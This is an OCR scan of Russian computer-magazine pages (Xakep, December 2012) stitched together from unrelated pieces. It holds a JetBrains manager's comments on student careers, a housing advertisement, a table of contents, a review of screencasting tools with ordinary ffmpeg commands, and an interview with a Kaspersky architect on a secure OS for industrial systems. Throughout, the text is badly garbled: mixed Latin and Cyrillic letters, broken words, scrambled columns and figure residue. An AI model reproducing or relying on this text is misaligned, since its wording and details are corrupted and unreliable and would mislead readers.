Ну... и корttиlч ttы сотрудников хороlло, для кого-то это тоже важно :l. Эту идею в свое время дOвOльно активно рекламировала Google. Мол, в офисе должно быть хорошее питание, и это очень важно. 0ни тогда даже своих поваров заводили. Лично я не переоценивал бы эту штуку с едой, хотя среди студентов, говорят, 0чень пOпулярная тема. 0чень много людей, которые начинают работать в JetBrains, приходят из вузов. Есть несколько образовательных проектов, часть из которых в JetBгains привел я, часть были изначально. Компания давно и удачно сотрудничает с кафедрой системного программирования матмеха СПбГУ. Получается, что если мы набираем 40 человек в год, то 20 из них будут из наших образовательных проектов. Типичная оtлибка сryдентов - слиlлкоi,l рано начать работать. Существует много рабочих мес1 требования к которым находятся на уровне выпускника ПТУ. Велик соблазн: ко второму-третьему курсу появляется выбор то ли схOдить пOслушать лекцию п0 математике, то ли начать зарабатывать довольно приличные, если судить по общечеловеческим меркам, деньги. Студен1 который пойдет по такому пrги, сильно ограничивает свой набор возможностей. В том числе возможность зарабатывать в десятки раз

-

бол ьше.

у нас в ко]rlпании очень плоская структура. Есть два уровня управления. Это руководители прOектOв, кOтOрые 0твечают за кOнкретные прOдукты, и рукOвOдств0 кOмпании рукOводи-

-

тели отделов, СТ0, С00, СЕ0, которые отвечают за кOмпанию в целом. flосryп к руководству ко}lпании у нас очень прOст, и если у человека появляется какая-то идея, 0н мOжет на следующее угро рассказать ее СЕ0 на кухне компании|ну или кому-то еще из руководстваJ. Если идея действительно

стOящая, т0 завтра же 0н смOжет стать проджектменеджером этого проекта и начать работу.

0днако пытаться слиlцко}l рано залезть ошибка. Поскольку эта профессия (незрелая>, у меня есть ряд знакомых, которые работают в менеджменте и управлении в менеркеры

-

прOст0 пOтOму, чт0 этOг0 хOтели.

Скахtем, есть коi{пания, где работает 50 студентов. И один из них ходит и своему непосредственнOму рукOвOдителю пOстOянно говорит: <0й, а я так хочу быть менеджером!> Ну раз хочешь будь. И люди начинают строить карьеру плохого менеджера, в плохой конторе, руководя

-

плохими программистами, работающими над плOхими задачами. Менедlкер тоже профессия. 0на другая, хотя и требуе1 в общем-то, похожего [но чрь иного) набора skills. В нее лучше уходить, имея достаточный опыт работы программистом, точно осознавая, что тебе нужно. Если говорить о зарплатах, получается, чт0 сетка техническая, в которой двигается прOграммист, и сетка административная, в которой человек движется, становясь менеджером... они совпадают. Можно быть хорошим программистом и зарабатывать больше, чем плохой менеджер.

Е


ГРУППА КОМПАНШЙ кМОНОЛШТл - ОДНО ИЗ КРУПНЕЙIЛИХ ПРЕДПРПЯТПЙ-ЛИДЕРОВ

московскоЙ оБлАсти, дЕЙствуюlцих нА строитЕльном PblHKE с 1989 гом

Основным направлением деятельности Группы ком пан и Й " Монол ит,, я вляется возведен ие жилых зданий и объектов соци€tльного назначения по индивидуальным проектам, В основе лежит технология монолитного домостроения,

К услугам жителей комплекса и района супермаркет ..Перекресток>, McDonalds; Tanuki; Сбербанк, магазин для детеЙ "Кораблик)), салон KpacoTbl, фитнес центр ..спортив" и другие предприятия торговли и сферы обслуживания, расположенные на нижних этажах комплекса..Щля желающих максимально приблизить место проживания к работе - офисьt. П

роектом п редусмотрено стро

ител

чт

ьство п одзем ной

и наземной автостоянок. Придомовая территория благоустроена и озеленена, сформирована зона для безопасного и комфортного отдьlха жителей дома.

ипотЕкА

Группа uМонолит)) активно работает с ведушими банками по программам ипотечного кредитования. Особое внимание уделяется правовой защиlценности клиентов, приобретателей жилья и нежилых помешений.

щ

\

лll

ъъ::lъ""н iH:iilT,"M

Е

lцЕн

и

й

(9в5) 727-57-62


Ргеvlеw

2В страница на одной полосе. Тизер HeKoTopblx статей.

x_MoBlLE АндЕрдOги .Социальные

сети и коммуникацияD,

(продвинутая платформа для приложеи вебний и мультимедиа", "HTML5 этих слOв начинаются прилOжения> -с презентации каждой новой мобильной 0С.Увы, с их помощью неудается убедить ни пользователей, ни разработчиков, ни представителей торговых сетей. Тем не менее MeeGo, webOS и многиедругие,

-

несOмненн0, 0ставятслед в истOрии тOчнOтакже, как 0ставили след<лузеры) времен гонки десктопов-такие как 0S/2 или BeOS. Но мобильный рынок намного

динамичнее, и, чтобы стать предметом нOстальги и, новой 0С достаточно и полугода. Поэтому

рассказ

о <новых

лузерах>

можно начинатьуже сейчас.

x_i{OBlLE

PczoNE

нАчАл0 БOльlлOг0 пути Если ты еще не догадался, про обустройство Апdгоid-смартфона можно говорить бесконечно. На этотраз, однако, речь пойдет не о приложениях, а о важных на-

36

SСRЕЕNКАСТИНГ yоuтuье-это нетолько бесконечный поток котиков, но и отличный способ поведать иру 0 нOвых возмOжнOстях 1,4

твоей софтины. Передтобой обзор лучшихтулздля записи скринкастов|

стройках и возможностях этой 0С,

взлOi{

Советуем быть внимательней передтем, в следующий раз сунуть карточку заветную щель, иначе сокращение ATN,1 можетобрести совсем дру-ой смысл.

как в

нЕдOстАюlцЕЕ звЕн0 Если ltlac 0S Х кажется тебе непригодной для серьезной работы, ты просто не yt',leешь ее готовить. [ля того чтобы получить все необходимое, нужно просто выбрать

прэвйльно

Й

пакетный менеджер.

}4ALWARE

БАНК01,1АТз }'lСтOРия БOл Е3н и

12

рOБOт для вЕБ 2.0 Удивительно, но вто время как вебприлOжения станOвятся все сложнее, инструменты для их аудита застряли в

пOзапрOшлом десятилетии.

Ал вАРь дл я п P01,1 Авт0 1.1Ати ки Благодаря Stuxnet приходится рассматривать все более экзотичные платфор мы и устройства, На этот раз придется lil

обратиться ктеме разнообразных АСУ

хлкЕр 12l1b7l2012


.JЁli2 lcenter,ru

ogol.ru

tlлs*|

flashcom,ru

1

]

meijin,ru

v"y гiс.sрь,ru

nix,r0

.г=-": ulmart,lu

xpen,lu

my SSD.


PcZONE

Илья l,{ypaBbeB [l аmгчЕуа.гu)

l[

Что такое скринкаст, ты знаешь не понаслышке. В злые минуты, когда изучаемыЙ язык программирования становится безжалостным, книга и диск с прилагаемым кодом не всегда спасают. Теория суха, а в скринкастах ты видишь на практике последовательность написания кода, комментарии, результат. Будь это хоть суахили: действия на экране очень часто понятны без слов. Но есть в этой жизни например, их создазанятия более интересные, чем просмотр скринкастов, ние. Oтличная новость: ни одна 0С не обделена софтом для записи скринкастов. Все плохие новости ты узнаешь, когда будешь читать обзор.

-

flомашняя страница: Поддержка платформ: Windows Лицензия: GPL Предельно минималистичная по интерфейсу, но от этого не ограниченная функционально программа для скринкастинга, Щля кого-то может быть весьма непривь чно то, что все

ч ЕЕЕ

(,

camStudio - неудобно, н0 0лдскульн0

036

настрOики выставляются непOсредственн0 в строках меню, С одной стороны, юзабилити оьlбLно нав этом / не пахнет, rO с друго,/ стройки производятся для того, чтобы о них забыть в дальнейшем: запустил программу записал получил на выходе видео рабочего стола. CamStudio автоматом дает названия файлам и даже не спрашивает, в какую папку их сохранять (ты можешь указать соответствующий адрес в меню "Diгесtоrу Rесогdiпg"]. Эффектов немного, они имеют скорее служебное, а не визуальное назначение: добавление заголовков, временных отметок, водяного знака и тому подобное, Суровая тулза для записи прOграммерских скринкастOв, Запись видео возможна в полноэкранном ремиvе, фипсирова-rчаF,4ли( привяз'<ои " оhн/ приложения. Чтобы сделать паузу или оста-

-

-

НOВИТЬ ЗаПИСЬ, ЛУЧL!е РаЗOСРаТЬСЯ С ГOРЯЧИМИ

клавишаlйи, чем пстOм вь резать (<0рганизациснные фрагменть,ч в видеоредакторе. Если не хOчешь прOизвOдить пOлнOэкранную запись, исполсз!Й опцию Aulopan [автопанорамирование]. При ее активации CamStudio следит За KYPCOOOV ,1 ЗаПИaЬ Вае- -ОЛЬ(О rr!Ж*оrЙ регион (нечто вроде Smart Focus в Сагпtаsiа].

Соответственно, ты можешь здорово сэкономить на размере выходного файла. !оступнь два варианта записи на лету в AVl и StW, опционально можно подключить Lossless Video Codec [доступен на сайте]. Видео можно сконвертировать в флеш уже

-

по факту.

Вердикт: бесплатная функциональная запись скриrкас-а без возчожнос rи дальнейше-о монтажа. В итоге движения курсора не вырубишь и топором lB том числе по монитору), Если Tbi не любишь возиться с редактированием, деэtо твой вариарт, лdешь все с 1ервогодубля -

-

хАкЕр

l2 l1b7l

20i2


sсгеепкасти

flомачlняя страница: is dd/HEfOs9 Поддержка платфорtt: Мас 0S, Windows Лицензия: tгiаlwаге

с

При выборе софта ты должен понимать, на прOграмме с0 скрOмными вOзмOжнOстями, кOтOрая делает только запись рабочего стола, то тебе не избежать последующего редактирования, Так что лучше: полноценный комбайн, включающий в себя весь функционал, или набор разрозненных утилит? Чтобы ответить на этот вопрос, попробуй поработать с Camtasia Studio. Этот пакет позволяет создать скринкаст, начиная с захвата виде0 и закачивая ег0 публикацией на хостинге. Видео с десктопа можно записать утилитой Rесогd Tool. Изначально запись производится в контейнер формата саmгес {при желании ты мOжешь распакOвать ег0 и извлечь из содержимого AVl). Как вариант-записать в АVl с компрессией на лету. Но ты должен пOнимать, чт0 идеальная запись из этOг0 не получится. Хорошее сжатие видео требует пропорциональной нагрузки на системные ресурсы. Поэтому логичнее записать скринкаст с шустрым lоsеlеss-сжатием и затем не спеша подвергнуть сырой формат компрессии. чт0 если ты 0станOвишься

flомачlняя страница: f f mре g.огg Поддержка платформ: кроссплатформенная Лицензия: LGPL 0ба инструмента, о которых шла речь

- это графическая оболочка. Но согласись, было бы интересно приручить (звевыше,

ря> в лице хорошо известного

фреймворка

FFmреg. Преимущества ощутимы: FFmреg

содержит в себе набор библиотек libavcodec, кOтOрыми грех не вOспользOваться для скринкастерских нужд. Проблема в том, что FFmреg не очень хорошо ладит с интерфейсом Diгесtshоw, в отличие от (иксов> в Linux, поэтому для Windows нам нужно установить (костыл и)>.

-

Первый вспомогательный компонент Sсгееп Сарtuге Rесогdег, который содержит в себе набор утилит для захвата видео с рабочего стола. Скачать ег0 можно здесь: is,gd/гpLAXu. Второй компонент Viгtuаl Audio Сарtuге GгаЬЬег Device виртуальное устройство для захвата выхOдного аудио. Скачиваем: is,gd/wmOSsd. Также для работы этих двух оболочек тебе нужно установить Java Runtime Епчiгопmепt - актуальную версию найдешь здесь: is,gdiгtW9aT. Настройки оболочки ищи в меню uПуск, [или для Windows 8: РгоgrаmDаtа\Мiсгоsоft\

-

-

Wiпdоws\Stагt Мепu\Ргоgгаms\Sсrееп

Сарtuгег Rесогdег\) в папке.Sсгееп Сарtuгег Rесогdего.

хлкЕр

12116712012

Записанное видео можно отредактировать точностью скальпеля в удобном редакторе Camtasia Studio. Редактор студии представляет собой временную шкалу (Timeline) с дорожками, на которых может быть видео с ве6-камеры, слайды, музыка и прочий атмосферный звук вроде кликов мыши. Чтобы привлечь внимание к определенным мOментам, мOжешь делать ремарки, увеличивать кадр. Кстати, обрати внимание на функцию SmагtFосus [uумный фокус"], которая сделает твой скринкаст более наглядным и динамичным, акцентируя фокус на курсоре.,Щля этой фичи рекомендуется вести запись с запасOм разрешения экрана, чтобы при увеличении изображение не теряло

нг

рез кOсть.

Применив настройки, можешь сохранить видео на sсгеепсаst.соm или youtube.com прямо из интерфейса Саmtаsiа.,Щля этого предусмотрен мастер сохранения Ргоduсе МР4, WMV, & Shаге. Выбор форматов видео MOV, AVl, M4V, каждый из форматов поддается гибкой настройке. МР4 можешь обернуть видео в НТМL5-оболочку и вставить на сайт. 299 L]eHa у пакета соответствующая долларов, лицензия для образовательньiх

-

-

монтаж

в

camtasia studio

целей {Education Ргiсiпgl обойдется заметно дешевле - 179 долларов. Конечно, тебе будет слOжн0 дOказать, чт0 инструкция п0 написанию кряка преследует сугубо образовательную цель, но попытка не пытка, не так ли?

Вердикт: Camtasia - очень функциональный комбайн для записи и редактирования скринкастов, который, при умелом использовании временной шкалы и монтажного стола, позволяет смOнтирOвать закOнченнOе художественное произведение для рубрики .,Взломr.

Консоль FFmреg входит в состав Sсгееп Сарtuгег Rесогdег и доступна по адресу Ргоgгаm Filеs\Sсгееп Сарtuгег Rесогdег\ со пfi g u гаt ion_setu p_uti ity\ven d о г\ffm р eg\ bin\f f mpeg.exe. !,алее мы запускаем FFmреg из командной строки с нужными параметрами: I

ffmpeg [внутренние опции] -i [внутренний файл] [внешние опции] [внешний файл] Применимо к Sсгееп Сарtuгег Rесогdег в связке с Audio Сарtuге GrаЬЬег Device запуск записи прOисхOдит п0 кOманде

ffmpeg -f dshow -1 audio="viгtuaI-p ачdiо-сарtчгег" : video=" scгeen- captune-e

гесогdег"

-г 10 -q 1

D:\гесогd.mр4

где -г и -q - это заданные параметры [фреймрейт и битрейт) для выходного видео. Все параметры описаны в документации FFmреg: ь it.lyltSз 2тз. Таким образом, получаем файл записи в указанном месте. Чтобы остановить запись, используй комбинацию клавиш <Сtгl + С> в командной строке. Ты можешь создать batфайл, инструкция здесь: is.gd/LХггhg.

Вердикт: экспериментальное решение,

работает по принципу (настроил и забыл>, но настройка требует внимательного из-

ffmрё9

в

действии

учения документаци и, если тебе потребуется записать область экрана с привязкой к окну прилOжения, Смотри также:

. . . . . . . .

ALLCaptuгe,is.gdiSmWNгJ Jing,techsmith.com/jing.html TipCam, utipu.com

ВВ FlashBack, is.gdijgD4Mh НурегСаm,hчоегiопiсs.соm/hс SсгеепргеSSо,sсгеепргеssо.соm Bandicam,bandicam.com АсtiчеРгеsепtег,is.gdiwр9240


PczoNE

flомачlние страниЦы: f f

mреg.огg, liЬач.огg/ачсопч.html

Поддержка платформ: кроссплатформенная Лицензия: LGPL С FFmреg в Linux дела обстоят гораздо проще. Изначально в пакетдля Ubuntu модуль x'l 1gгаЬ входит в состав фреймворка, для других же

дистрибутивов можно попробовать ключ -

-епаЬIе-хllgпаЬ

при компиляции. !алее производим установку:

sudo apt-get 1nsta11 ffmpeg Теперь в твоем распоряжении FFmреg и терминал. Oткрываем справку is.gdiгnzShk и задаем параметры записи с пOмOщью запрOса:

ffmpeg

-f хllgгаЬ -s

-i :0.0

-vcodec

qtгlе

1280х800

15

е

mугесоrd.mоч

flомашняя страница: is.gdiJlozne Поддержка платформ: Windows Лицензия: shагеwаге Скринкастинг-решение от отечественного производителя. Сочетает в себе некий баланс между минимализмом CamStudio и достаточно высокой ценой Camtasia Studio. Что из существенного предлагает UVSсгеепСаmега? В довесок к удобной настраиваемой записи покадровый редактор видео, который, мягко говоря, напоминает Adobe Flash одной из старых версий. И это является несOмненным плюсOм: пOддерживаются слои с возможностью импорта/экспорта

-

мультимедиа, наложения зума, аннотаций, ,Щля пущего удобства видео можно разбить на эпизоды [см. вкладку <Разбиение на сегментыu}. Популярных форматов видео для сохранения не так уж много [FLV, AVl). 0днако помимо них есть интересные варианты экспOрта: защищенный от копирования исполняемый

где ключ -S задает разрешение рOлика, -гколичество кадров в секунду, -i порядковый нOмер экрана (<иксOв>>. Совет: при кодировании можешь попробовать iоsеlеss-кодек Аррlе Quicktime Апimаtiоп IRLE). 0н минимально нагружает систему и хорошо работает даже на вирутальной машине. 0пять же, если тебя напрягает ручной ввод, вот скрипт, который вдобавок ко всему позволяет сделать запись с привязкой к определенному окну: is.gd/ЗnsGzL. Как альтернативу используй утилпу FFсаst для записи региона: s.gd/phMOey. В качестве конвертера вместо FFmреg сейчас нужно использовать аvсопv. !окументацию по граббингу ты найдешь здесь: is.qd/ftUwUs.

-

Вердикт: удобный вариант записи с экрана через консоль при содействии библиотеки libavcodec.

Avconv: процесс почlел!

Смотри также:

. . . о

xvidcap,is,gd/8pWhGH pyvnc2swf, is,gd/hou Н Н Н Wink, is.gd/zhNxAu Kazam, https://launchpad.net/kazam

файл, SWF, GlF, UVF. Хитрость в том, что

в бесплатной версии UVSсгеепСаmега до-

ступен для сохранения только экзотический UVF [формат, который запрашивает для воспроизведения отдельный плеер) и ЕХЕ, что в обоих случаях не позволит опубликовать ролик на видеохостинге. ЕХЕ-формат очень практичен тем, чт0 с ним пOставляется легк0весный плеер. Вдобавок можешь создать интерактивное видео в ЕХЕ или флеше, п0 нажатию на кнOпку дOступна навигация в определенную область видео.

реализована возможность записывать из нескOльких истOчникOв ауди0 0днOвременно (впрочем, ты по старинке можешь продOлжать пOльзOваться стереOмикшерOм или устройством whаt-уоu-hеаг твоей звуковой карты). Можно делать пометки, надписи, рисOвать.

Скорость работы порадовала: редактор очень быстр, интерфейс реагирует на действия мгновенно. !аже при записи на лету

мf^!d. d,п uill tla

fl-, IJVsoftiu m

г Редактор видео

в

UVSсrеепСаmеrа

нет неприятных вибраций курсOра и подвисаний.

Вердикт: программа для записи скринкастов и их пOлнOценнOг0 редактирOвания,

приятн0

удивляющая своей скоростью и возможностями при относительно невысокой цене.

кOдирOвАниЕ кАк рЕшЕниЕ прOБлЕм Как уже говорилось, ты можешь записать видео в loseless, а

затем

использоватькодердляпакетнойконвертации.3ачастуюпрограммы

либо рекомендую профили под посоветовать Мепсоdег-

для эаписи скринкастов не предоставляют доступ к командной строке открывают малую часть настроек того или иного кодека. Я утилиту НапdВгаkе [hапdЬгаkе.fг], которая предлагает пресеты и для медиаустройств плюс отличную документацию и заточенность

стандарт Н.264. Что касается Linux, то здесь могу кодировщик видео, который входит в состав проекта МРlауег (is.gd/UxecUpJ.

0зs

0птимальные настройки скринкаста

. . . . . . .

Разрешение:от1024х768рхдо1280х'l02/,рх[720рl. Медиаконтейнер: МР4, М4V FLV МOV Кодек: Н,264

Битрейт:500 kbpsVBR Частота кадров:10-З()fрs Аудио:ААС/r8000'l28 kbpsSteгeoVBR l-|ветопередача:16-Ьit

хлкЕр 121167l2012


sсгеепкастинг

I

в зльlЕ lчинутьl, кOгдА изучАЕlчыЙ яз bl к п Ро ГРАttl 1.,| и Ро ВАН ия стАноВится БЕ3жАлOстн bl ],,l, кн и гА И ДИСК С ПРИЛАГАЕ]уtЬl!l кOдо},l нЕ всЕгдд спдсАют

fl ома

няя стра

н и

ца : v_rdeplщ.

q

гslr]

с

Поддержка платфорtl: кроссплатформ ен ная Лицензия: GPL 2 VLC media рlауег - универсальный способ записи видео рабочего стола как в Windows, так и в Linux и Мас 0S. Вся хитрость настройки в выборе правильного устройства для захвата. Настройка осуществляется через меню (либо "Media - Stгеаm... - Сарtuге Device" <Источник - 0ткрыть устройство захвата...) в локализации]. В Windows в качестве истOчникOв выставляем <sсгееп-сарtuгегесогdег> и <чiгtuаl-аudiо-сарtuгег>, которые являются связующим мостиком с DiгесtShоw

-

flомачlняя страница: гесо rd tn ow, s о ur_i€lщсе-М i

Поддержка платформ: Linux Лицензия: GPL 2 Пожалуй, самыми популярными GUl-решениями для скринкастинга в среде Linux можно назвать гесогdМуDеsktор (is,9d/vKynEW] и lstanbul Iis, gd/CJGnmP). К сожалению, минимализм обеих программ и их устаревший функционал заставляют 0тказаться 0т их испOльзOвания. RесогdltNоw плагин для KDE, одна из наиболее вменяемых утилит для Linux, имеющая графическую оболочку.

-

и устанавливаются отдельно. В Linux выставляем режим захвата Display (Экран). !алее нажимаем <Сопчегt", выбираем профиль для сохранения видео и жмем <Stагt> для начала и <Stop" для остановки процесса

записи. VLC действительно позволяет гибко настроить популярный кодировщик Н.264, запись аудио, вдобавок содержит множество предустанOвOк.

Вердикт: оказывается, что и плеер можно испOльзOвать для скринкастинга,

к тOму

же

VLC располагает достаточно широкими возможностями по настройке кодирования.

Вроде бы функционал стандартный для такOг0 рOда прOграмм,0днак0 сильная стOрOна RесогdltNоw заключается в том, что ты без проблем можешь выставить FFmреg для записи и задать параметрами командной строки опции кодирования видео. Из других удобств возмOжнOсть сOхранения пресетOв разрешения и зум. Готовую запись в несколько щелчков можно загрузить на blip.tv или youtube.com.

-

Вердикт: одна из лучших оболочек для скринкастинга в Linux с возможностью гибкого управления параметрами FFmреg.

} _-

].jя_-

Выбор источника захвата

в

VL( media рlауеr

l-.

:J6\i+-*

gO}iT'_: grr -]l]I.,

.,

RecordltNow: настройка кодирования

чЕм рЕдАктирOвАть видЕ0 и Ауди0 VirtчаlDчЬ

0penshot

чiгtчаldчь.оrq Редактор с огромным количеством поддерживаемых форматов,

PiTivi

Audacity

openshotvideo.com Полная противоположность сложным редакторам с обилием кнопок и тулбаров. Здесь

pit iv i.o rg

ацd_аqЦJ.ýщIq ef о г g е. п et Мул ьти платформ ен н ы й

фильтров и модулей, неплохо 0птимизирOван пOд желез0.

-

Единственный минус звук в нем не отредактируешь. Плюс, если тебе нужно всего лишь выполнить простенькие задачи, ViгtчаlDчЬ отпугнет своим интерфейсом без намеков на dга9 & dгор.

хлкЕр 12l1b7l2012

все предельно лакOничн0,

функционал оптимален для монтажа скринкастов

-

как звука. так и видео. flоступны эффекты переходов, аннотации, Временная шкала поддерживает неограниченнOе

кOличество трекOв.

Простой видеоредактор под Linux,

использует для работы фреймворк Gstrеаmег. Сгодится для не очень сложного монтажа, хотя рейтинг PiTiVi сейчас невысокий ввиду слабой поддержки, и из UЬчпtч

у

пакет в свое время был удален.

аудиOредактор с впечатляющими возможностями по импорту/ экспорту, поддержкой VSТ-плагинов, эффектов и многим другим. Гангстарэп на нем не смикшируешь, н0 для редактирOвания озвучки скринкаста инструментов более чем достатOчн0.


PczoNE

11о11

ЧТ0 ПРЕДСТАВЛЯЕТ СОБОЙ 0П ЕРАЦИОН НАЯ СИ CTE]tlA

0т KASPERSKY LAB?

Безопасная 0С от Каsрегskу Lab? Будет или нет? Слухи на этот счет давно муссируются, но без каких-либо подробностей. Ясность появилась на организованной Международным союзом электросвязи конференции, которая прошла в октябре в ,Щубае, где компания впервые официально подтвердила, что ведет разработку 0С для промышленных объектов.

Беседовал Степан Ильин

п

овольствоваться общими словами 0 незащищеннOсти пOOмышленнOи

л fT

инфраструктурыиисториями-бая-

нами про Stuxnet мы не хотели. Нужна была кOнкретика: пишется ли система с нуля или на базе уже имеющейся 0С {например, QNXl, как она может решить проблему, когда наружу в интернет тOрчат тысячи прOграммируемых контроллеров [PLCl с реальных промышленных объектов, и почему эта система будет более безопасна, чем многие другие? Пришлось постараться, чтобы лично пообщаться с человеком, который непосредственно отвечает за разработку новой 0С, Андреем !ухваловым. Еще до начала интервью стало ясн0, чт0 эт0 0дин из выдающихся сOтрудникOв кOмпании: именн0 ему удалOсь решить пр0блему с тормознутостью продуктов, за которую Каsрегskу Lab серьезно доставалось пятьшесть лет назад. Сейчас он занимает должность с говорящим названием Chief Stгаtеgу Агсhitесt и руководит направлением разработки безопасной 0С. Вот что он нам рассказал.

-

PR00 F-0 F-сONсЕрт Разработкой операционной системы'] 'l ,'l1 мы занимаемся давн0, н0 этOт прOцесс дOлгOсрOчный, поэтому пока мы находимся на ранней стадии. Это не клон Linux'a и не клон aNXвсе пишется с нуля. Но мы поддерживаем стандарты POSlX, чтобы другие программы могли запускаться в нашей среде. В настоящий момент у нас есть прототип для платформы х86, но мы собираемся перенести систему и на другие платформы, в том числе ARM. Перед разработкой мы поставили себе несколько целей, а с помощью созданного прототипа сами себе доказали состоятельность идей, которые положили в основу операционной системы. Многие из подходов давно известны, но мы взяли на себя смелость реализовать все в одном месте и сделать это хорошо. Все, чт0 я расскажу далее, касается тольк0 пр0тотипа того, что мы имеем сейчас.

-

0тсутствиЕ тOчки дOвЕрия

последнего времени при создании моделей информационной безопасности критически важных промышленных объектов бытовало мнение, что одной лищь физической изоляции объекта достаточно для его защиты. Поэтому о безопасности программного обеспечения и железа заботились в меньшей степени. Например, есть протокол MODBUS, с помощью которого взаимодействует промышленное оборудOвание, например кOнтрOллер с двигателем. Этот протокол {как и многие другие) в стандарте не содержит средств аутентификации и авторизации. Любой, кто находится в этой же сети, может отправить любому промышленному снять данные, перепроустройству команду шить fiгmwаге и так далее. Сам софт дырявый. Согласно исследованию университета Карнеги Меллона, количество ошибок в военном и промышленном программном обеспечении сOставляет в среднем 0т пяти д0 десяти на тысячу строк кода. Самым лучшим решением было

-

-

Андрей flухвалов

060

хлкЕр

12

l1b7l 2012


,]

бы поменять все программное обеспечение и железо. Как вы понимаете, это невозможно. Но есть другой способ решить проблемы,

которые возникают в индустриальной среде. Мы хотим сделатьтак, чтобы взаимодействие между узлами было под контролем. Если посмотреть на типичную схему сети кOрпOративнOг0 предприятия, в которой находится множество разных узлов, и задаться вопросом, какой из этих сущностей можно доверять, выяснится, что никакой! Наша цель- построитьтакую точку дOверия и на ее 0снове выстраивать защиту.

гдЕ БудЕт рАБOтАть 0с?

Чтобы стало понятнее, приведу пример. В самом простом случае промышленная инфраструктура выглядит примерно так: есть сенсOры, есть кOнтрOллеры, в кOтOрых залOжена логика управления оборудованием, и есть рабочая станция со SCADA, которая умеет отдавать кOнтрOллеру кOманды (перевести в тOт режим>, (перевести в другой>, (сделать больше>,

(сделать меньше) и прочие. Практически все

устройства работают через протоколы MODBUS, РгоfiЬus или другие промышленные протоколы поверх привычных ТСР/lР-протоколов, при этом физически подключены к обычным маршрутизаторам Iнапример, Cisco]. Ничто не мешает поставить (рядом> еще один компонент, который на основе заранее заданных правил [специально разработанных для каждой конкретной системы) сможет мониторить и контролировать все, чт0 передается между системами, в тOм числе гарантируя, чт0 данные передаются от легитимного источника и без изменений. В случае тревоги мы можем активировать противоаварийную защиту в любой АСУ есть такие автOматизирOванные механизмы, кOтOрые реагируют на внештатные ситуации. Наша задача сделать такую противоаварийную защиту с учетом информационной среды. Но для этого важно решить еще одну сложную задачу- мы на ]00% должны быть уверены в безопасности нашей системы.

-

-

БЕзOпАснАя 0с Софт может делать больше того, для чего пред-

назначен. 0сновной принцип, который лежит в основе требований к архитектуре 11.]], недопустимо исполнение незаявленной функциональности. Этот принцип разработки 0С позволяет надеяться, что внутри 0С происходит ровно то, что мы ожидаем. На любом телефоне есть калькулятор: кто может гарантирOвать, чт0 в мOмент, кOгда мы умнOжаем два на два, он не отправляет SMS? В 1'l.]] мы уверены, что каждый модуль делает только то, что он должен делать. Сложность в том, что этот принцип должен быть реализован в архитектуре системы. Нельзя сделать отдельный слой поверх ядра 0С, предоставляющий такие гарантии, потому что в этом случае в ядре 0стаются уязвимOсти.

-

кOд БЕз 0шиБOк Говорят, что программ без ошибок не бывает. На самом деле существуеттак называемая

хлкЕр 12l1b7/2012

формальная верификация кода, с помощью которой можно доказать, что ошибок в нем нет. Утверждение об отсутствии ошибок доказывается как математическая теорема. То есть мOжн0 дать на вхOд некOтOрые пOстулаты и предоставить исходный код программы, реализующий эти постулаты. Существует система, кOтOрая с пOмOщью математических вывOдOв способна доказать, что исходный код реализует именн0 эти пOстулаты и никакие другие.

,l

.,l

1

как есть. Это невозможно, потому что драйвер должен работать в соответствии с принципом недOпустимOсти испOлнения незаявленн0го функционала. Поэтому мы разбираемся, как он работает, и реализуем у себя. Это объемная работа, и мы не собираемся делать ее сами. Наша задача сделать платформу, чтобы строить безопасные системы. Мы открыты для привлечения партнеров: работы много, одним нам не справиться. Мы видим

-

I

кстАти, РАБOЧЕЕ нА3ВАниЕ

((11.11

>>

СВЯЗАН0 С ДАТOЙ НАЧАЛА РАЗРАБОТКИ новоЙ ос Еще в 2009 году в рамках проекта L4.veгified была проведена первая формальная верификация ядра операционной системы микроядра seL4. Щоказательство было составлено и проведено с помощью программы lsabel]e/ HOL, предназначенной специально для доказательства теорем.,Щля этого потребовалось написать более 200 000 строк специальных скриптов-доказательств, Всего было проверено более 8700 строк С-кода и 600 строк, написанных на ассемблере. С помощью такого подхода удалось обнаружить'l60 багов в ядре seL4. У нас стоит цель - верифицировать таким образом свое ядро. Мы закладываем постулаты и имеем исходный код ядра. flалее с пOмOщью математических метOдOв дOказываем, чт0 эти пOстулаты сOOтветствуют этOму

-

кOдУ.

НЕДOПУЩЕНИЕ ИСПOЛНЕНИЯ НЕЗАЯВЛЕННOЙ

ФункциOнАльнOсти

Этот базовый принцип достигается за счет того, что каждый из модулей ядра помещается в песочницу. Oни могут общаться друг с другом

посредством механизма, который жестко контролирует 0С. !ля этого мы реализовали специальные методы |РС, через которые мониторится взаимодействие, И у модулей не будет другого способа общаться друг с другом, кроме как через нашу lРС. Oсновная задача ядра 0С это выносить вердикты, можно ли модулям общаться друг с другом в данный мOмент и при данных услOвиях или же нельзя. Все основные модули системы, которые мы привыкли относить к сервисам ядра, работают в рамках таких же правил. И те же правила применяются для пOльзOвательских прил0жений.

-

другиЕ кOмпOнЕнты ядрА

Компьютерная наука развивается более 50 лет, и за это время было реализовано много хороших идей, которые мы готовы перенять. Трудность заключается в том, что наши базовые принципы не пOзвOляют нам, услOвн0 гOвOря, взять уже готовый драйвер и использовать его

-

свою цель написать фреймворк, который позволяет другим разработчикам подменять модули ядра на свои собственные, Микроядерная технология во всей своей красе! Простой пример. В тех применениях, где критически важна конфиденциальность, может понадобиться особенный менеджер памяти, который будет обнулять память, когда она высвобождается. Разработчик сможет использовать свой модуль для управления памятью и таким образом выполнить это требование конфиденциал ьнOсти.

кАк мOжн0 кOнтрOлирOвАть? Что касается контроля взаимодействия

между разными компонентами взаимодействия промышленной инфраструктуры по сути, те же самые принципы и математические дOказательства, кOтOрые мы испOльзуем внутри ядра, работают и на более высоком уровне. Если будет рефери, который контролирует взаимодействие между компонентами системы, то получится взять без изменений промышленную систему и добавить туда дополнительные элементы, которые повысят ее безопасность.

-

мOдЕли БЕзOпАснOсти Многие из используемых нами подходов существуют 20-З0 лет, но их не часто можно встретить в реализации 0С. Моделями без0паснOсти кOмпьютерных систем занимается дискретная математика. Существует много теоретических наработок, и есть практические результаты,,Щискреционная и мандатная модели безопасности очень распространены, и они на слуху. Но кроме них существует огромное число моделей безопасности: например type епfогsmепts, Белла и -ЛаПадула другие. Каждая из них хороша в определенных условиях применения. Теория в этом направлении шагнула далек0 мы взяли смелOсть реализOвать инструмент, с пOмOщью кOтOрOг0 мOжн0 будет воплотить те или иные модели безопасности на практике для тех или иных условий применения. Oднако нужно еще время, чтобы довести этот во многом исследовательский прOект д0 гOтOвOг0 прOдукта. fc


PcZONE

1.1ихаил

Еловских

(wгоп glinklЭgmail.com)

